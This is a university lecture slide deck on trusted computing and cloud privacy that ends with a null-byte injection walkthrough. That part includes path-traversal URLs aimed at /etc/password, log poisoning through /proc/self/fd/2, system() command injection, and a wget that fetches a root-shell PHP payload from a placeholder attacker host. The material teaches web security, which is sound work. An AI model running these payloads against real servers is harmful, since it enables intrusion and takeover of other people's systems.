Download presentation
Presentation is loading. Please wait.
1
Trusted computing and the cloud
2
UNR – CSE, Jeff Naruchitparames 2 ( and null-byte poisoning attacks for the web )
3
UNR – CSE, Jeff Naruchitparames 3 Computer architecture Security... privacy Digital & physical threats
4
UNR – CSE, Jeff Naruchitparames 4 1. Identification – cryptographic 2. Attestation – digital signatures 3. Normal operating environment – from the computer's environment (remotely, too!)
5
UNR – CSE, Jeff Naruchitparames 5
6
6 Control!
7
UNR – CSE, Jeff Naruchitparames 7 Trusted platform module (TPM) Trusted computing group (TCG) Root of trust Dictate accessibility (permissions) a user has
8
UNR – CSE, Jeff Naruchitparames 8 But wait! … this is not a bad thing
9
UNR – CSE, Jeff Naruchitparames 9
10
Software as a Service, SaaS Platform as a Service, PaaS Infrastructure as a Service, IaaS
11
UNR – CSE, Jeff Naruchitparames 11 Problem: Storage Solution: Encryption, duh! Problem: Processing/computation of information Solution: ???
12
UNR – CSE, Jeff Naruchitparames 12 Without looking!
13
UNR – CSE, Jeff Naruchitparames 13 Blind processing Ensuring security and in particular, privacy of information from third parties (sys admins, users, hackers, etc)
14
UNR – CSE, Jeff Naruchitparames 14 Why so important? ISPs Power grid owners Google, Amazon, other web 2.0 companies, etc Political, economic, competition, etc
15
UNR – CSE, Jeff Naruchitparames 15 Technical details for another day... Null-byte poisoning attacks (null- byte injection)
16
UNR – CSE, Jeff Naruchitparames 16 Add URL-encoded null-byte characters (%00, 0x00) to user-supplied data Bypass input sanity checking filters
17
UNR – CSE, Jeff Naruchitparames 17 javascript, ASP Processing accomplished by C/C++ functions
18
UNR – CSE, Jeff Naruchitparames 18 NULL = string termination or delimiter = stop processing a string = bytes following delimiter will be ignored
19
UNR – CSE, Jeff Naruchitparames 19 If a string loses its null character, the length of the string = unknown... … until memory pointer finds the next null byte.
20
UNR – CSE, Jeff Naruchitparames 20 http://foo.org/index.php[?lang=bar] /web/htdocs/foo/ Template file includes, yay! http://foo.org/index.php?lang=../../../etc/password%00
21
UNR – CSE, Jeff Naruchitparames 21 http://foo.org/index.php?lang=../../../proc/self/fd/2%00 Inject shellcode via symbolic links from /proc/self/. This example assumes Apache error logs are located in /proc/self/fd/2 Now what?
22
UNR – CSE, Jeff Naruchitparames 22 Note: Error logs are typically written without filtering referer variables (from browsers) curl “http://foo.org/” -H “Host:” -- referer “ ” [Mon Feb 08 09:27:45 2010] [error] [client x.x.x.x] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /, referer:
23
UNR – CSE, Jeff Naruchitparames 23 http://foo.org/index.php?&lang=../../../proc/self/f d/2%00&cmd=system('pwd') Write issues?! (permissions)
24
UNR – CSE, Jeff Naruchitparames 24 http://foo.org/index.php?&lang=../../../proc/self/fd/2%00&cmd=system('find -Type d -perm 0777') Assume we find a writable directory at: /home/user/public_html/php_fi les_for_school/
25
UNR – CSE, Jeff Naruchitparames 25 Injection time! http://foo.org/index.php?lang=../../../proc/self /fd/2%00&cmd=system('wget -O /home/user/public_html/php_files_for_school/home work3.php http://haxor.website/files/amazing_shellcode_to_ obtain_root_access/get_root_shell.php'); Privilege escalation
26
UNR – CSE, Jeff Naruchitparames 26 Responsible disclosure! YEAH
Similar presentations
© 2025 SlidePlayer.com. Inc.
All rights reserved.